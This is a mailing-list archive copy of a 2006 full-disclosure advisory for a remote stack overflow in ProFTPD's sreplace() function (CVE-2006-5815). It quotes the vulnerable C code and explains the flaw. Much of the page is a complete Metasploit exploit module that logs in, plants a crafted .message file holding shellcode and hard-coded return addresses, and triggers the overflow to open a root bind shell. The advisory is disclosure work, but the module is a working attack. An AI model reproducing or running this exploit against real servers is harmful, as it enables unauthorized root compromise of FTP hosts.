ðòïåëôù 


  áòèé÷ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

  óôáôøé 


  ðåòóïîáìøîïå 


  ðòïçòáííù 



ðéûéôå
ðéóøíá














     áòèé÷ :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] ProFTPD remote buffer overflow (from gleg.net)



> ------------------------------
> 
> Message: 13
> Date: Tue, 28 Nov 2006 02:19:43 +0300
> From: research@xxxxxxxx
> Subject: [Full-disclosure] ProFTPD remote buffer overflow
>       vulnerability
> To: full-disclosure@xxxxxxxxxxxxxxxxx
> Cc: vuln@xxxxxxxxxxx
> Message-ID: <1164669583.456b728f2c7f9@xxxxxxxxxxxxxx>
> Content-Type: text/plain; charset=KOI8-R
> 
> Hi all,
> 
> Name:         ProFTPD remote buffer overflow vulnerability
> Vendor:       http://www.proftpd.org
> Release date: 27 Nov, 2006
> URL:          http://www.gleg.net/proftpd.txt
> CVE:          CVE-2006-5815
> Author:       Evgeny Legerov <research@xxxxxxxx>
> 
> I. DESCRIPTION
> 
> A remotely exploitable stack overflow vulnerability has been 
> found in ProFTPD
> server.
> The vulnerability allows a remote authenticated attacker to gain root
> privileges.
> 
> II. DETAILS
> 
> The vulnerability exists in sreplace() function from src/support.c
> Oversimplified analysis of the vulnerability is below:
> 
> """
> char *sreplace(pool *p, char *s, ...) {
>   va_list args;
>   char *m,*r,*src = s,*cp;
>   char **mptr,**rptr;
>   char *marr[33],*rarr[33];
>   char buf[PR_TUNABLE_PATH_MAX] = {'\0'}, *pbuf = NULL;
>   size_t mlen = 0, rlen = 0, blen;
>   int dyn = TRUE;
> 
>   cp = buf;
>   *cp = '\0';
> 
>   memset(marr, '\0', sizeof(marr));
>   memset(rarr, '\0', sizeof(rarr));
>   blen = strlen(src) + 1;
> 
>   va_start(args, s);
> 
>   while ((m = va_arg(args, char *)) != NULL && mlen < 
> sizeof(marr)-1) {
>     char *tmp = NULL;
>     size_t count = 0;
> 
>     if ((r = va_arg(args, char *)) == NULL)
>       break;
> 
>     /* Increase the length of the needed buffer by the 
> difference between
>      * the given match and replacement strings, multiplied by 
> the number
>      * of times the match string occurs in the source string.
>      */
>     tmp = strstr(s, m);
>     while (tmp) {
>       pr_signals_handle();
>       count++;
>       /* Be sure to increment the pointer returned by strstr(3), to
>        * advance past the beginning of the substring for which we are
>        * looking.  Otherwise, we just loop endlessly, seeing the same
>        * value for tmp over and over.
>        */
>       tmp += strlen(m);
>       tmp = strstr(tmp, m);
>     }
> 
>     /* We are only concerned about match/replacement strings 
> that actually
>      * occur in the given string.
>      */
>     if (count) {
>       blen += count * (strlen(r) - strlen(m));
>       marr[mlen] = m;
>       rarr[mlen++] = r;
>     }
>   }
> 
>   va_end(args);
> 
>   /* Try to handle large buffer situations (i.e. escaping of
>  * PR_TUNABLE_PATH_MAX
>    * (>2048) correctly, but do not allow very big buffer 
> sizes, that may
>    * be dangerous (BUFSIZ may be defined in stdio.h) in some library
>    * functions.
>    */
> #ifndef BUFSIZ
> # define BUFSIZ 8192
> #endif
>   if (blen < BUFSIZ)
> [1]  cp = pbuf = (char *) pcalloc(p, ++blen);
> 
>   if (!pbuf) {
> [2]  cp = pbuf = buf;
>     dyn = FALSE;
>     blen = sizeof(buf);
>   }
> 
>   while (*src) {
>     for (mptr = marr, rptr = rarr; *mptr; mptr++, rptr++) {
>       mlen = strlen(*mptr);
>       rlen = strlen(*rptr);
> 
>       if (strncmp(src, *mptr, mlen) == 0) {
> [3]     sstrncpy(cp, *rptr, blen - strlen(pbuf));
>         if (((cp + rlen) - pbuf + 1) > blen) {
>           pr_log_pri(PR_LOG_ERR,
>                   "WARNING: attempt to overflow internal 
> ProFTPD buffers");
>           cp = pbuf + blen - 1;
>           goto done;
> 
>         } else {
>           cp += rlen;
>         }
> 
>         src += mlen;
>         break;
>       }
>     }
>     if (!*mptr) {
> [4]    if ((cp - pbuf + 1) > blen) {
>          pr_log_pri(PR_LOG_ERR,
>                 "WARNING: attempt to overflow internal 
> ProFTPD buffers");
>          cp = pbuf + blen - 1;
>       }
>       *cp++ = *src++;
>     }
>   }
> 
>  done:
>   *cp = '\0';
> 
>   if (dyn)
>     return pbuf;
> 
>   return pstrdup(p, buf);
> }
> """
> 
> First of all, the value of 'blen' is controlled by us, if we 
> set it to a
> value which less than BUFSIZ  (see [1]) - we can trigger heap 
> overflow,
> otherwise
> we will be able to trigger stack overflow (see [2]).
> 
> Because of miscalculation on line [4], we can overwrite last 
> (NULL) byte of
> 'pbuf' - so that 'strlen(pbuf)' will be greater than 'blen'.
> The code on line [3] will overwrite the 'pbuf' buffer with 
> our data because
> the 'sstrncpy' function works just nice when the third 
> argument is negative.
> 
> At least two vectors are exist for this vulnerability:
> 1. MKD command
> 2. pr_display_file
> 
> The included proof of concept exploit code uses the second 
> attack vector.
> Write access is necessary for this exploit to work.
> 
> III. VENDOR RESPONSE
> 
> The vendor has released 1.3.0a version which addresses this issue.
> 
> For more info about the newest version of ProFTPD and 
> possible workarounds
> please visit:
> http://www.proftpd.org
> http://bugs.proftpd.org/show_bug.cgi?id=2858
> 
> IV. CREDIT
> 
> The vulnerability has been discovered by Evgeny Legerov.
> 
> V. EXPLOIT
> 
> # vd_proftpd.pm - Metasploit module for ProFTPD stack overflow
> #
> # Copyright (c) 2006 Evgeny Legerov
> #
> # Permission to use, copy, modify, and distribute this 
> software for any
> # purpose with or without fee is hereby granted, provided 
> that the above
> # copyright notice and this permission notice appear in all copies.
> #
> # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS 
> ALL WARRANTIES
> # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
> # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR 
> BE LIABLE FOR
> # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR 
> ANY DAMAGES
> # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, 
> WHETHER IN AN
> # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, 
> ARISING OUT OF
> # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
> 
> use strict;
> 
> package Msf::Exploit::vd_proftpd;
> use base "Msf::Exploit";
> use Pex::Text;
> 
> my $advanced = { };
> 
> my $info =
> {
>       "Name"      => "[0day] ProFTPD 1.3.0 stack overflow",
>       "Version"   => "\$Revision: 1.1 \$",
>       "Authors"   => ["Evgeny Legerov"],
>       "Arch"      => ["x86"],
>       "OS"        => ["linux"],
>       "Priv"      => 1,
>       "UserOpts"  =>
>                 {
>                       "RHOST" => [1, "ADDR", "The target address"],
>                       "RPORT" => [1, "PORT", "The target port", 21],
>                       "USER"  => [1, "DATA", "Username", "ftp"],
>                       "PASS"  => [1, "DATA", "Password", "ftp123"],
>                       "DIR"   => [0, "DATA", "Writeable 
> directory", ""],
>                 },
> 
>       "Description" => Pex::Text::Freeform(q{
> This is a proof of concept exploit for src/support.c:sreplace 
> stack overflow.
> 
> The off-by-one heap overflow bug in proftpd's sreplace 
> function has been
> discovered about
> 2 (two) years ago by Evgeny Legerov. We tried to exploit this 
> off-by-one bug via
> MKD command, but failed.
> We did not work on this bug since then.
> 
> Actually, there are exists at least two bugs in sreplace function,
> one is the mentioned off-by-one heap overflow bug the other 
> is stack overflow
> via 'sstrncpy(dst,src,negative argument)'.
> 
> We were unable to reach the sreplace stack overflow bug on 
> ProFTPD 1.2.10 stable
> version,
> but the version 1.3.0rc3 introduced some interesting changes, 
> among them:
> 1. another (integer) overflow in sreplace!
> 2. now it is possible to reach sreplace stack overflow via 
> pr_display_file!
> 3. stupid '.message' file display bug
> 
> So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
> To reach the bug, you need to upload a specially created 
> .message file to a
> writeable directory,
> then do "CWD <writeable directory>" to trigger the invocation 
> of sreplace
> function.
> 
> Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to 
> display '.message'
> file
> you also have to upload a file named '250'. ProFTPD 1.3.0 
> fixes this bug.
> 
> The exploit is a part of VulnDisco Pack since Dec 2005.
>               }),
> 
> 
>       "Payload" =>
>               {
>                 "Space"     => 900,
>                 "Keys"      => ["+bind"],
>               "BadChars" => "\%\r\n\x00"
>               },
> 
>         "DefaultTarget"  => 0,
>         "Targets"        =>
>               [
>                       ["ProFTPD 1.3.0 (source install) / Debian 3.1",
>                               # objdump -D proftpd|grep call|grep edx
>                                 0x804afc8,
>                                 # nm proftpd|grep permanent_pool
>                                 0x80b59f8
>                       ]
> 
>               ],
> 
>         "Keys"           => ["vd_proftpd"],
> };
> 
> sub new       {
>       my $class = shift;
>       return $class->SUPER::new({"Info" => $info, "Advanced" 
> => $advanced}, @_);
> }
> 
> sub Exploit {
>       my $self = shift;
>         my $host = $self->GetVar("RHOST");
>         my $port = $self->GetVar("RPORT");
>       my $writedir = $self->GetVar("DIR");
>       my $bind_port = $self->GetVar("LPORT");
>       my $target = $self->Targets->[$self->GetVar("TARGET")];
>       my $encodedPayload = $self->GetVar("EncodedPayload");
>         my $shellcode   = $encodedPayload->Payload;
> 
>               my $sock = Msf::Socket::Tcp->new("PeerAddr" => 
> $host, "PeerPort"  =>
> $port);
>         if ($sock->IsError) {
>                 $self->PrintLine("Error creating socket: " . 
> $sock->GetError);
>                 return;
>         }
> 
>       my $res = $sock->Recv(-1, 20);
>         if (!$res) {
>                 $self->PrintLine("The service did not return 
> a valid banner");
>                 return;
>         }
> 
>       $self->PrintLine("Banner: ". $self->CleanData($res));
> 
>         $sock->Send("USER ". $self->GetVar('USER') ."\r\n");
>         $res = $sock->Recv(-1, 20);
>         $self->PrintLine("USER response: ". $self->CleanData($res));
>         if ($res !~ /^331/) {
>                 $sock->Close;
>                 return;
>         }
> 
>         $sock->Send("PASS ". $self->GetVar('PASS') ."\r\n");
>         $res = $sock->Recv(-1, 20);
>         $self->PrintLine("PASS response: ". $self->CleanData($res));
>         if ($res !~ /^230/) {
>                 $sock->Close;
>                 return;
>         }
>       if (length($writedir) > 0) {
>               $sock->Send("CWD $writedir\r\n");
>               $res = $sock->Recv(-1, 20);
>               $self->PrintLine("CWD response: " . 
> $self->CleanData($res));
>       }
> 
>       my $current_dir = "";
>       $sock->Send("PWD\r\n");
>       $res = $sock->Recv(-1, 20);
>       $current_dir = $1 if ($res =~ /257\s\"(.+)\"/);
>       $current_dir .= "/" if (substr($current_dir, -1, 1) ne "/");
>       $self->PrintLine("Current directory: $current_dir");
> 
>       my $dir1 = "A" x (251 - length($current_dir));
>         $self->PrintLine(sprintf "Dir1 length is %d bytes", 
> length($dir1));
> 
>       $sock->Send("MKD $dir1\r\n");
>       $res = $sock->Recv(-1, 20);
>       $self->PrintLine("MKD response: " . $self->CleanData($res));
> 
>       $sock->Send("CWD $dir1\r\n");
>       $res = $sock->Recv(-1,20);
>       $self->PrintLine("CWD response: " . $self->CleanData($res));
> 
>       $sock->Send("PWD\r\n");
>         $res = $sock->Recv(-1, 20);
>       $self->PrintLine("PWD response: " . $self->CleanData($res));
> 
>       my $dir2  = "B" x 64;
>         $dir2 .= pack("V", $target->[1]);
>         $dir2 .= pack("V", $target->[2] - 4);
>         $dir2 .= "\xcc" x 28;
>         $self->PrintLine(sprintf "Dir2 length is %d bytes", 
> length($dir2));
> 
>       $sock->Send("DELE " . $dir2 . "/.message\r\n");
>       $sock->Recv(-1, 20);
> 
>       $sock->Send("DELE " . $dir2 . "/250\r\n");
>       $sock->Recv(-1, 20);
> 
>       $sock->Send("RMD $dir2\r\n");
>       $sock->Recv(-1, 20);
> 
>       $sock->Send("MKD $dir2\r\n");
>       $res = $sock->Recv(-1, 20);
>       $self->PrintLine("MKD response: " . $self->CleanData($res));
> 
>       # Upload .message file
>       $sock->Send("TYPE I\r\n");
>       $sock->Recv(-1, 20);
> 
>       $sock->Send("PASV\r\n");
>       $res = $sock->Recv(-1, 20);
>       if ($res !~ /^227/) {
>               $self->PrintLine("Incorrect response to PASV 
> command: " .
> $self->CleanData($res));
>               return;
>       }
> 
>       $self->PrintLine("PASV response: " . $self->CleanData($res));
>       $res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/;
>       my $datahost = "$1.$2.$3.$4";
>       my $dataport = (int($5) << 8) + int($6);
> 
>       $self->PrintLine("Opening connection to $datahost:$dataport");
>               my $datasock = Msf::Socket::Tcp->new("PeerAddr" 
> => $datahost, "PeerPort"
>  => $dataport);
>         if ($datasock->IsError) {
>                 $self->PrintLine("Error creating socket: " .
> $datasock->GetError);
>                 return;
>         }
> 
>       $sock->Send("STOR $dir2/.message\r\n");
>       $res = $sock->Recv(-1, 20);
>       $self->PrintLine("STOR response: " . $self->CleanData($res));
> 
> 
>       my $filedata = "";
>         $filedata .= "A";
>         $filedata .= "\x66\x81\xc2\x5e\x13\x52\xc3"; # add 
> $0x135e, %dx; push
> %edx; ret
>         $filedata .= "\%C" x 11;
>         $filedata .= "A";
>         $filedata .= $shellcode;
>       $filedata .= "A" x (900 - length($shellcode));
>         $filedata .= "\%CA" x 10;
> 
>       $datasock->Send($filedata);
>       $datasock->Close();
> 
>       $res = $sock->Recv(-1, 20);
>       $self->PrintLine("FILE transfered: " . $self->CleanData($res));
> 
>       # Trigger sreplace overflow
>       $sock->Send("CWD $dir2\r\n");
>       $sock->Recv(-1,20);
> 
>       sleep(3);
> 
>       $sock->Close();
> }
> 
> 
> sub CleanData {
>         my $self = shift;
>         my $data = shift;
>         $data =~ s/\r|\n//g;
>         return $data;
> }
> 
> __END__
> 
> Regards,
> -Evgeny
> http://www.gleg.net/proftpd.txt
> 
> 



 




Copyright © Lexa Software, 1996-2009.